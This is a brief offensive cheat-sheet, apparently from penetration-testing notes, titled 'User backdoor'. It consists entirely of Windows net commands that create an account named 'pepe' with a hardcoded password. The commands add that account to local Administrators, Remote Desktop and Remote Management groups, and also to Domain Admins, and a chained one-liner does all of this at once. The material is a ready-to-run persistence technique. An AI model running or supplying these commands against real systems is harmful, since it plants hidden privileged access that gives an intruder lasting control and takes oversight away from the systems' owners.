User backdoor

- Add Local System User

net user pepe Password123! /add

net localgroup Administrators pepe /add

net localgroup "Remote Desktop Users" pepe /add

net localgroup "Remote Management Users" pepe /add

- Add Domain Admin User

net user pepe Password123! /add /domain

net localgroup "Remote Desktop Users" pepe /add /domain

net localgroup "Remote Management Users" pepe /add /domain

net group "domain admins" pepe /add /domain

One-liner:

net user pepe Password123! /add /domain && net localgroup "Remote Desktop Users" pepe /add /domain && net localgroup "Remote Management Users" pepe /add /domain && net group "domain admins" pepe /add /domain